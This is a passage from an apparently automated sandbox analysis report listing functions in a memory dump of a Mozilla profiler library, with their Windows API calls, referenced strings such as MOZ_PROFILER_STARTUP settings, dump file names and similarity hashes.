EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C664C2F
LeaveCriticalSection.KERNEL32(6C6DE7DC), ref: 6C664C82
EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C664C89

Strings

a.8/, xrefs: 6C664C0F, 6C66544F
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C6656E3
MOZ_BASE_PROFILER_HELP, xrefs: 6C665511
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C6650F3, 6C665121, 6C66513C
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C6657AE
GeckoMain, xrefs: 6C665554, 6C6655D5
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C665749
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C66548D
MOZ_PROFILER_STARTUP, xrefs: 6C6655E1
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C665766
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C6654B9
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C6657C5
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C665724
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C6654A3
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C665717
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C665791

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$Enter$Leave
String ID: GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$MOZ_RELEASE_ASSERT(mNode)$[I %d/%d] - MOZ_PROFILER_STARTUP is set$a.8/
API String ID: 2801635615-1817016341
Opcode ID: cc4b948ee4ae29103d3151b5fc3c7afabd165f4bc05cad590819915cbd7bbd01
Instruction ID: 0647646f86b5330a7fc5a5cc7f60a892ec6e36e451c1f381523a20b9827584dd
Opcode Fuzzy Hash: cc4b948ee4ae29103d3151b5fc3c7afabd165f4bc05cad590819915cbd7bbd01
Instruction Fuzzy Hash: 7441B5316052118BD708CF2BC4A076977E1AF82728F28861CD8718BED1CBB1E441CB8E

Function 6C66B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C66B4F5
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66B502
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66B542
free.MOZGLUE(?), ref: 6C66B578

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: d6fce4e0f5ce2d2612f5934e6f077c7e1e761546c7ba7781ddcddf79526bcbfe
Instruction ID: f8c6926e3cb4d4af112b9870dfa7403b397d49b61d05b120268176a51f4f12c6
Opcode Fuzzy Hash: d6fce4e0f5ce2d2612f5934e6f077c7e1e761546c7ba7781ddcddf79526bcbfe
Instruction Fuzzy Hash: 85110330A04B41C7D321CF2AC8407A5B3B0FFDA319F14970AE84953E02EBB0B5C5879A

Function 6C693DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C65F20E,?), ref: 6C693DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C65F20E,00000000,?), ref: 6C693DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C693E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C693E0E

Part of subcall function 6C68CC00: GetCurrentProcess.KERNEL32(?,?,6C6531A7), ref: 6C68CC0D
Part of subcall function 6C68CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C6531A7), ref: 6C68CC16

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 82a6360a373ecd281ae6919c82bcd1b75556bec14f788fb4d8f0f9eba5c47a7f
Instruction ID: 1eb75ff979cc5475eae7f49dcf4a0ee0aad8e9e8d9996727dab3d755bc266919
Opcode Fuzzy Hash: 82a6360a373ecd281ae6919c82bcd1b75556bec14f788fb4d8f0f9eba5c47a7f
Instruction Fuzzy Hash: 9BF0F8B1A002087BDB00AB55EC81DAB376DEB87628F040021FE0957741D636BE6996FF

Function 6C6A85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C6A85D3

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C6A8725

Strings

map/set<T> too long, xrefs: 6C6A8720

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: a2a27303650dbd5e9a7fe60878a720a47f4d3f5136fab0440a28ca324daa6040
Instruction ID: 70b27cce337b19c255c6b91cde610e625e735871812691eeb71a8baf6980d39e
Opcode Fuzzy Hash: a2a27303650dbd5e9a7fe60878a720a47f4d3f5136fab0440a28ca324daa6040
Instruction Fuzzy Hash: FA515674A006818FE701CF58C184A59FBF1BF4A318F19C19AD8595BB62C375EC46CF96

Function 6C6B2570 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 114COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,?), ref: 6C6B2655
__Init_thread_footer.LIBCMT ref: 6C6B26BE

Strings

a.8/, xrefs: 6C6B257F

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footerfree
String ID: a.8/
API String ID: 1226231535-2801666753
Opcode ID: 62d914168933869bdf60863a5c401095cd73ea78fcb661259dae401da460e450
Instruction ID: 3db07fb03a84098d89a199f779ea265b144acfcf4a03b87ac9d6762b8c73d2a0
Opcode Fuzzy Hash: 62d914168933869bdf60863a5c401095cd73ea78fcb661259dae401da460e450
Instruction Fuzzy Hash: CB41CDB19002048FCB14CF19D48899ABBF1FF4A310B1585AEC819ABB51D731A955CFEA

Function 6C6B0DE0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111timeCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68FA80: GetCurrentThreadId.KERNEL32 ref: 6C68FA8D
Part of subcall function 6C68FA80: AcquireSRWLockExclusive.KERNEL32(6C6DF448), ref: 6C68FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6B0EFC

Part of subcall function 6C6A1B80: GetCurrentThreadId.KERNEL32 ref: 6C6A1B98
Part of subcall function 6C6A1B80: AcquireSRWLockExclusive.KERNEL32(?,?,6C6A1D96,00000000), ref: 6C6A1BA1
Part of subcall function 6C6A1B80: ReleaseSRWLockExclusive.KERNEL32(?,?,6C6A1D96,00000000), ref: 6C6A1BB5

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C6B0E50

Part of subcall function 6C675B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6756EE,?,00000001), ref: 6C675B85
Part of subcall function 6C675B50: EnterCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675B90
Part of subcall function 6C675B50: LeaveCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675BD8
Part of subcall function 6C675B50: GetTickCount64.KERNEL32 ref: 6C675BE4

Strings

a.8/, xrefs: 6C6B0DF0

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCriticalCurrentReleaseSectionThread$Count64CounterEnterLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_
String ID: a.8/
API String ID: 2508600278-2801666753
Opcode ID: 45c1b30768deb86126bca6843677f48f4fa12a3e94f1468efd8e138927633f66
Instruction ID: 4da5ad0a6dc31c60ff154cae34aaf8be12b198fd4b4d0e59f384b46cd4736459
Opcode Fuzzy Hash: 45c1b30768deb86126bca6843677f48f4fa12a3e94f1468efd8e138927633f66
Instruction Fuzzy Hash: 764179B57087429FC704CF29C580A5ABBF5FF89318F40491DE98597B41DB30E81ACB9A

Function 6C6AC570 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

fgetpos.API-MS-WIN-CRT-STDIO-L1-1-0(?,?), ref: 6C6AC605
_fseeki64.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,00000001), ref: 6C6AC672

Strings

a.8/, xrefs: 6C6AC581

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _fseeki64fgetpos
String ID: a.8/
API String ID: 3401907645-2801666753
Opcode ID: 0b89e551ee7d096f18ab23abe8446e1a3fd8329dc62df4f8266b15ce20dc5d39
Instruction ID: 6f46c32843bf62f4d1479d69748f2b40c25ccf0ada50fa5e5690a0a715930e0f
Opcode Fuzzy Hash: 0b89e551ee7d096f18ab23abe8446e1a3fd8329dc62df4f8266b15ce20dc5d39
Instruction Fuzzy Hash: CE414871604705AFC718DF29C88095ABBF1FF89318B008A2EE94A87B50E731FD15CB95

Function 6C6B0480 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000080,?,?,?,?,?,?,?,?,?,?,?,?,6C6B041E,?,6C6B03C0), ref: 6C6B04D8
InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6B041E), ref: 6C6B04E3

Strings

a.8/, xrefs: 6C6B0490

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc
String ID: a.8/
API String ID: 1952960883-2801666753
Opcode ID: 6d8ab5bcfef5289edd7a3383cdcc1014afedb92ad201b9b13568d5fa00c862ac
Instruction ID: cbcee5575f6eb27ad0c5b8c030d2648faeda212e5553fb3340317c77aea978bc
Opcode Fuzzy Hash: 6d8ab5bcfef5289edd7a3383cdcc1014afedb92ad201b9b13568d5fa00c862ac
Instruction Fuzzy Hash: 0E21D4A0D047848BE7408F3D89813A5B7F4BF99318F049659DD8896223FB70A5D8C785

Function 6C6A1C60 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,6C6A759E,?,?), ref: 6C6A1CB4
free.MOZGLUE(?,?,?,?,?,?,6C6A759E,?,?,?,?,?,?,?,?,?), ref: 6C6A1CE9

Strings

a.8/, xrefs: 6C6A1C70

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Now@Stamp@mozilla@@TimeV12@_free
String ID: a.8/
API String ID: 876075630-2801666753
Opcode ID: 8c59f1e8fb9a21a64fccaaa46b388bd5e7c46326602fbb275a2eb146c443b6ba
Instruction ID: 07168b8ccc5c50a87f2caa85bb33425b126acd2ba7afd8d809894bd6f354894a
Opcode Fuzzy Hash: 8c59f1e8fb9a21a64fccaaa46b388bd5e7c46326602fbb275a2eb146c443b6ba
Instruction Fuzzy Hash: 63118F31900B059BC321CF29C8506A6B7F0BF8A718F40461DD99A97A40EB71F999CB95

Function 6C6A1680 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 6C68FA80: GetCurrentThreadId.KERNEL32 ref: 6C68FA8D
Part of subcall function 6C68FA80: AcquireSRWLockExclusive.KERNEL32(6C6DF448), ref: 6C68FA99

Part of subcall function 6C6A1700: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,6C6A16CD), ref: 6C6A17DC

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,6C694F39,?,?,?,?,6C6955F5,?), ref: 6C6A16E6

Strings

a.8/, xrefs: 6C6A1691
9Oil, xrefs: 6C6A168E

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_
String ID: 9Oil$a.8/
API String ID: 1463952509-1726923722
Opcode ID: a8fcbf6e37bd3851d973bc9c621a3e17a525ac3a8029983b80f21f9d1b592725
Instruction ID: d419f18c1ccc27eb7341c9d41cb3b19576f7d8eee77e77e7b7d55720db8d59d2
Opcode Fuzzy Hash: a8fcbf6e37bd3851d973bc9c621a3e17a525ac3a8029983b80f21f9d1b592725
Instruction Fuzzy Hash: B2111EB5A002099FCB00CFA9D884AEEBBF9EF49254F55402AD945E7351E730E948CBA4

Function 6C6A0E00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C6A0E16

Part of subcall function 6C68FA80: GetCurrentThreadId.KERNEL32 ref: 6C68FA8D
Part of subcall function 6C68FA80: AcquireSRWLockExclusive.KERNEL32(6C6DF448), ref: 6C68FA99

ReleaseSRWLockExclusive.KERNEL32 ref: 6C6A0E45

Strings

a.8/, xrefs: 6C6A0E0C

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$?profiler_get_core_buffer@baseprofiler@mozilla@@AcquireBuffer@2@ChunkedCurrentProfileReleaseThread
String ID: a.8/
API String ID: 488134835-2801666753
Opcode ID: e8ac7d202f5160fc0dc306c3c746fd4716157da7b22bf23b585795f3a96be3bd
Instruction ID: 7fe0b3a9518d9ac181bae9b5bb90e69b50017753f5fb33369a3ab151f811f445
Opcode Fuzzy Hash: e8ac7d202f5160fc0dc306c3c746fd4716157da7b22bf23b585795f3a96be3bd
Instruction Fuzzy Hash: 86114CB16082459FC700DF69D48129FBBF0FF8A218F15882DE88997701D730A855CBAB

Function 6C66BE40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43timeCOMMON

Download Yara Rule

APIs

QueryUnbiasedInterruptTime.KERNEL32 ref: 6C66BE64
__aulldiv.LIBCMT ref: 6C66BE86

Strings

a.8/, xrefs: 6C66BE4D

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: InterruptQueryTimeUnbiased__aulldiv
String ID: a.8/
API String ID: 218403179-2801666753
Opcode ID: d48eb9ee32caf50f57d9efd83528fbf8cfd0d79728328be5eb619c47037d1057
Instruction ID: 1a1cb87e41037afc2ff69c99d218fd2337fbed4f47ebd0ba5bb578ee6eeead2c
Opcode Fuzzy Hash: d48eb9ee32caf50f57d9efd83528fbf8cfd0d79728328be5eb619c47037d1057
Instruction Fuzzy Hash: 78012631A04341EBCB009F3AC8857467BF4DF86354F208619F5A583A91D770B094C78E

Function 6C6B6D30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE(#%02u: ??? (???:???),?,?,?,?,6C6B6CA1), ref: 6C6B6D51
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?,#%02u: ??? (???:???),?,?,?,?,6C6B6CA1), ref: 6C6B6D6B

Strings

a.8/, xrefs: 6C6B6D3C

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@
String ID: a.8/
API String ID: 2004917493-2801666753
Opcode ID: 678627ff62eeb3c30394659575fde1a01ff25aa4a70ccc4fab36b7550f910ac7
Instruction ID: 4bf5583f80fca64c2c5b7cc64654b5786f1c6a417deb418fd761aa368641b92c
Opcode Fuzzy Hash: 678627ff62eeb3c30394659575fde1a01ff25aa4a70ccc4fab36b7550f910ac7
Instruction Fuzzy Hash: C3011D71B002199FCB109F59C8909DFBBE8EF89654B41841AE8499B740D731A904CBE4

Function 6C6994D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

Strings

a.8/, xrefs: 6C6994DC

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __acrt_iob_func__stdio_common_vfprintf
String ID: a.8/
API String ID: 2168557111-2801666753
Opcode ID: 369a432d41f6b3c807b2c822bc13ed264a11967c3c489442b78308e1281bac8e
Instruction ID: 3f6045bb5b4cb0b013770da45856b9d4fc6c584e6ef8fb0a2d343d170e2a610c
Opcode Fuzzy Hash: 369a432d41f6b3c807b2c822bc13ed264a11967c3c489442b78308e1281bac8e
Instruction Fuzzy Hash: B3F08971A0011C6FDB005F65DC89EAFBB78EF86259F404025F9095B241D7317928CBE9

Function 6C6B6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C6B6E22
__Init_thread_footer.LIBCMT ref: 6C6B6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C6B6E1D

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 39a29bee2b8b57065e6a5f8ed2424b066c1647657c83e079799a23cb29785f06
Instruction ID: bcd68a56edc4a956bdd073aa2d8006e056c651a881adc380280f84d7f154e701
Opcode Fuzzy Hash: 39a29bee2b8b57065e6a5f8ed2424b066c1647657c83e079799a23cb29785f06
Instruction Fuzzy Hash: 2DF02E302492C08BDB008B69C8A1A9173B29303318F080165F80196FA2CB31F627CFAF

Function 6C669E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C669EEF

Strings

Infinity, xrefs: 6C669EB7
NaN, xrefs: 6C669EC1

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 69064ab08258a321f268fc936855b8ae153423eff6b17a422022ef0b64cf6071
Instruction ID: c4194f2a258d45e7e49048328d94766e7d17b0c02063ac6c994417b112666e3a
Opcode Fuzzy Hash: 69064ab08258a321f268fc936855b8ae153423eff6b17a422022ef0b64cf6071
Instruction Fuzzy Hash: E1F06D71601641CBDB00CF5AD8C5B9033F1B74771DF250A19C9440AF81D7767646CA9F

Function 6C666C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0Kil,?,6C694B30,80000000,?,6C694AB7,?,6C6543CF,?,6C6542D2), ref: 6C666C42

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

moz_xmalloc.MOZGLUE(0Kil,?,6C694B30,80000000,?,6C694AB7,?,6C6543CF,?,6C6542D2), ref: 6C666C58

Strings

0Kil, xrefs: 6C666C33, 6C666C41, 6C666C57

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
